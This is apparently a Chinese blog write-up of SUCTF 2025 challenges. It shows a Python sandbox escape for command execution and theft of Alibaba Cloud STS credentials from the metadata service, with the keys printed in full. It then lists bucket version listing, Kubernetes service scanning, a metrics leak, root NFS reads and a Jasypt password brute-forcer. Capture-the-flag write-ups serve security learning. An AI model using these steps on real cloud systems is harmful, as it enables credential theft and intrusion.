SUCTF 2025

Rank 27

大家伙儿都在期末,比赛放了,没人打,冰框框做,但也进不了前二十

别看了,官方:https://github.com/team-su/SUCTF-2025

Web

SU_easyk8s_on_aliyun

  • 先RCE
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/bash","-c","""ls"""], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
  • 获取AKAS
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root
 
 {
  "AccessKeyId" : "STS.NTqYAXkzB6qfZUJLkpZJU4h9N",
  "AccessKeySecret" : "GtFKSC8RTV1wTcEpbdrYWiCCFbcq9uZZjSHc289ZkETy",
  "Expiration" : "2025-01-12T09:03:33Z",
  "SecurityToken" : "CAIS1AJ1q6Ft5B2yfSjIr5fEEvvshqVjgbONWHP7qGslVsV5262SrDz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEYgHCN0zr+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGYkQMsBA+nSmQwGPJReJb+udQu7JKc2gIYBv0ZNFJ1n7EnGlNRYbLXu/Ir1QXq3esyb6gQz4rKw2C9MBGUvdUGoABcwcHnV6ifPv5+Y+ZY9Nv6RvcsMOJgzvr5d3bJIxVz9I9tYG5lR1KBxJFgRu2KKrGo41V9n1iW5GokuWZYlEboaymbtHvYpIcoG9Y6TP56lU96E1aQb+6sByeVVEgQq7L3vjAcH1ezw9xjrlnI5mZRBDt+bvSKT5MATJYMsmy3zEgAA==",
  "LastUpdated" : "2025-01-12T03:03:33Z",
  "Code" : "Success"
}
  • versioning还原记录,官方文档,v2版本的versioning部分没写完
ossutil64.exe ls oss://suctf-flag-bucket --all-versions
ossutil64.exe cp oss://suctf-flag-bucket/oss-flag test/ --version-id "CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA--"
# -*- coding: utf-8 -*-
import oss2
from oss2.credentials import StaticCredentialsProvider
# 从环境变量中获取访问凭证。运行本代码示例之前,请确保已设置环境变量OSS_ACCESS_KEY_ID和OSS_ACCESS_KEY_SECRET。
auth = oss2.ProviderAuthV4(StaticCredentialsProvider("STS.NUXboFe3yoUVsrGbWLabCA65D", "CshnFwousyDW75fm7yDN8mJ8ZF5uu8opdzfwxT67ttha", "CAIS1AJ1q6Ft5B2yfSjIr5btKdXyiOxY2Je9cVT2hlcZbe1vrvOepjz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEZoHylSzr+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGQkUQpyw+nSmQwGPJReJb+udQu7JKc2gIYBv0ZNFJ1n7EnGlNRYbLXu/Ir1QXq3esyb6gQz4rKzbQ/8ZGUvdUGoABQjEAA6QelDyFczToHuBhUy6uSdlBeZ92fCYcFqfy79NJACUt9fYrhqVlhNyrnqtc/DNcuQ615BrG2szW+xed/m6fpm8kB6enlOSGXFFE/zET4JyJI/RPnVQQvq91tNU2RkO3ihKrouan5tli3XU5/88uCYx0TrJb05LiU3iw3kYgAA=="))

# 填写Bucket所在地域对应的Endpoint。以华东1(杭州)为例,Endpoint填写为https://oss-cn-hangzhou.aliyuncs.com。
endpoint = "https://oss-cn-hangzhou.aliyuncs.com"
# 填写Endpoint对应的Region信息,例如cn-hangzhou。注意,v4签名下,必须填写该参数
region = "cn-hangzhou"

# yourBucketName填写存储空间名称。
bucket = oss2.Bucket(auth, endpoint, "suctf-flag-bucket", region=region)


# 开启Bucket版本控制后,调用list_object_versions接口返回不同版本的Object信息。
# 列举Bucket中包括删除标记(Delete Marker)在内的所有Object的版本信息。
result = bucket.list_object_versions()
# print(result.versions)
# 列举所有Object的版本信息。
next_key_marker = None
next_versionid_marker = None
while True:
    result = bucket.list_object_versions(key_marker=next_key_marker, versionid_marker=next_versionid_marker)

    # 查看列举Object的版本信息。
    for version_info in result.versions:
        print('version_info.versionid:', version_info.versionid)
        print('version_info.key:', version_info.key)
        print('version_info.is_latest:', version_info.is_latest)
        object_stream = bucket.get_object(version_info.key, params={"versionId": version_info.versionid})
        read_content = object_stream.read()
        print('object.content:', read_content)

    # 查看列举删除标记的版本信息。
    for del_maker_Info in result.delete_marker:
        print('del_maker.key:', del_maker_Info.key)
        print('del_maker.versionid:', del_maker_Info.versionid)
        print('del_maker.is_latest:', del_maker_Info.is_latest)

    is_truncated = result.is_truncated

    # 查看列举结果是否完整。如果结果不完整,则继续罗列。如果结果已完整,则退出循环。
    if is_truncated:
        next_key_marker = result.next_key_marker
        next_versionid_marker = result.next_versionid_marker
    else:
        break

SU_easyk8s

应当是要好好复现来着,手头上其他事情有些干预,再加上对CTF实在没什么热情了(至少写WP上是这样的)拖了这么久,环境也没了,能不能让老登给我专门起个环境😋

  • 马子种不上去有点儿心烦,从老登那儿要个wp囤着,当时怎么就没想着探一下内网来着?
官方:https://github.com/team-su/SUCTF-2025/tree/main/web/SU_easyk8s/writeup
探服务
for i in $(seq 1 254); do ./k8spider all -c 10.43.$i.1/24 -i 20000 >> res ;done
{"Ip":"10.43.8.117","SvcDomain":"suctf-svc.default.svc.cluster.local.","SrvRecords":[{"Cname":"suctf-svc.default.svc.cluster.local.","Srv":[{"Target":"suctf-svc.default.svc.cluster.local.","Port":5000,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.109.180","SvcDomain":"metrics-server.kube-system.svc.cluster.local.","SrvRecords":[{"Cname":"metrics-server.kube-system.svc.cluster.local.","Srv":[{"Target":"metrics-server.kube-system.svc.cluster.local.","Port":443,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.116.179","SvcDomain":"kube-state-metrics.lens-metrics.svc.cluster.local.","SrvRecords":[{"Cname":"kube-state-metrics.lens-metrics.svc.cluster.local.","Srv":[{"Target":"kube-state-metrics.lens-metrics.svc.cluster.local.","Port":8080,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.140.10","SvcDomain":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","SrvRecords":[{"Cname":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Srv":[{"Target":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Port":80,"Priority":0,"Weight":50},{"Target":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Port":443,"Priority":0,"Weight":50}]}]}
{"Ip":"10.43.225.93","SvcDomain":"istiod.istio-system.svc.cluster.local.","SrvRecords":[{"Cname":"istiod.istio-system.svc.cluster.local.","Srv":[{"Target":"istiod.istio-system.svc.cluster.local.","Port":15012,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":15010,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":15014,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":443,"Priority":0,"Weight":25}]}]}

metrics信息泄露

kube-state-metrics.lens-metrics.svc.cluster.local:8080/metrics
kube_persistentvolume_info{persistentvolume="nfs-pv",storageclass="nfs-client",gce_persistent_disk_name="",ebs_volume_id="",azure_disk_name="",fc_wwids="",fc_lun="",fc_target_wwns="",iscsi_target_portal="",iscsi_iqn="",iscsi_lun="",iscsi_initiator_name="",nfs_server="0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com",nfs_path="/nfs-root/",csi_driver="",csi_volume_handle="",local_path="",local_fs="",host_path="",host_path_type=""} 1

nfs读文件
nfs-ls nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/?uid=0
nfs-cat nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/flag.txt?uid=0
亦或 nfs-client

Misc

SU_checkin

  • 流量中找到一些信息
java.-jar.suctf-0.0.1-SNAPSHOT.jar.--password=SePassWordLen23SUCT

algorithm=PBEWithMD5AndDES

spring.application.name=suctf
server.port = 8888
OUTPUT=ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg=
  • 密码不完整,写脚本爆破,python写的解密算法有问题,只能用ai原生的java写,不会java,写的很丑
package io.jbnrz.demo;

import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;

import java.util.concurrent.*;

public class DemoApplication {

    public static void main(String[] args) {
        String original = "SePassWordLen23SUCTF";

        char[] insertChars = new char[62];
        int index = 0;

        for (char c = 'A'; c <= 'Z'; c++) insertChars[index++] = c;  // 大写字母 A-Z
        for (char c = 'a'; c <= 'z'; c++) insertChars[index++] = c;  // 小写字母 a-z
        for (char c = '0'; c <= '9'; c++) insertChars[index++] = c;  // 数字 0-9

        // 创建线程池
        int numThreads = Runtime.getRuntime().availableProcessors();
        ExecutorService executor = Executors.newFixedThreadPool(numThreads);

        for (int i = 0; i < original.length() + 1; i++) {
            for (int j = 0; j < original.length() + 2; j++) {
                for (int k = 0; k < original.length() + 3; k++) {
                    System.out.println("Inserting at: " + i + ", " + j + ", " + k);

                    // 提交任务到线程池
                    executor.submit(new PasswordTask(i, j, k, insertChars, original));
                }
            }
        }

        executor.shutdown();
    }
}

class PasswordTask implements Runnable {

    private int i, j, k;
    private char[] insertChars;
    private String original;

    public PasswordTask(int i, int j, int k, char[] insertChars, String original) {
        this.i = i;
        this.j = j;
        this.k = k;
        this.insertChars = insertChars;
        this.original = original;
    }

    @Override
    public void run() {
        for (char char1 : insertChars) {
            for (char char2 : insertChars) {
                for (char char3 : insertChars) {
                    // 创建 StringBuilder 对象以构造新字符串
                    StringBuilder sb = new StringBuilder(original);

                    // 在指定位置插入字符
                    sb.insert(i, char1);
                    sb.insert(j, char2); // 索引调整
                    sb.insert(k, char3); // 索引调整

                    // 如果字符串中不包含指定的词,则跳过
                    if (!sb.toString().contains("SUCTF") || !sb.toString().contains("23") || !sb.toString().contains("PassWord") || !sb.toString().contains("Len")) {
                        continue;
                    }
                    try {
                        String encryptedData = "ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg=";

                        StandardPBEStringEncryptor encryptor = new StandardPBEStringEncryptor();
                        encryptor.setPassword(sb.toString());

                        String decryptedData = encryptor.decrypt(encryptedData);
                        if (decryptedData.contains("SUCTF") || decryptedData.contains("suctf")) {
                            System.out.println("Password: " + sb.toString());
                            System.out.println("Decrypted data: " + decryptedData);
                            System.exit(0); // 找到密码后退出程序
                        }
                    } catch (Exception e) {
                        // 如果解密失败,忽略异常
                    }
                }
            }
        }
    }
}
import base64
import hashlib
import re
from Crypto.Cipher import DES

def get_derived_key(password, salt, count):
    key = password + salt
    for i in range(count):
        m = hashlib.md5(key)
        key = m.digest()
    return (key[:8], key[8:])

def decrypt(msg, password):
    try:
        msg_bytes = base64.b64decode(msg)
        salt = msg_bytes[:8]
        enc_text = msg_bytes[8:]
        (dk, iv) = get_derived_key(password, salt, 1000)
        crypter = DES.new(dk, DES.MODE_CBC, iv)
        text = crypter.decrypt(enc_text)
        decrypted = re.sub(r'[\x01-\x08]', '', text.decode("utf-8"))
        return decrypted
    except:
        return ""

def main():
    msg = b"ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg="
    base_passwd = b"SePassWordLen23SUCTF"
    
    for i in range(1000):
        num = f"{i:03d}".encode()
        current_passwd = base_passwd + num
        
        decrypted_msg = decrypt(msg, current_passwd)
        print(current_passwd)
        if "SUCTF" in decrypted_msg:
            print(decrypted_msg)
            break

if __name__ == "__main__":
    main()

SU_forensics

  • R-Studio恢复出.bash_history
echo "My secret has disappeared from this space and time, and you will never be able to find it."
curl -s -o /dev/null https://www.cnblogs.com/cuisha12138/p/18631364
sudo reboot
  • 放大后能看到涂黑的密码
2phxMo8iUE2bAVvdsBwZ
  • 压缩脚本
import binascii
import os
import pyzipper
# 定义文件和目录名
txt_filename = 'lost_flag.txt'
zip_filename = 'secret.zip'
output_dir = 'lost_flag'
password = ''//yourpassword
# 读取文本文件中的十六进制数据
with open(txt_filename, 'r') as txt_file:
    hex_data = txt_file.read().strip()
# 将十六进制数据转换回二进制数据
binary_data = binascii.unhexlify(hex_data)
# 将二进制数据写入到ZIP文件中
with open(zip_filename, 'wb') as zip_file:
    zip_file.write(binary_data)
# 创建输出目录
os.makedirs(output_dir, exist_ok=True)
# 使用pyzipper解压缩ZIP文件
with pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
    extracted_zip.extractall(output_dir, pwd=str.encode(password))
print(f"文件已解压缩并保存到目录 {output_dir}")
  • 解zip即可,剩下的不弄了,看到其他跌用词频分析做
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇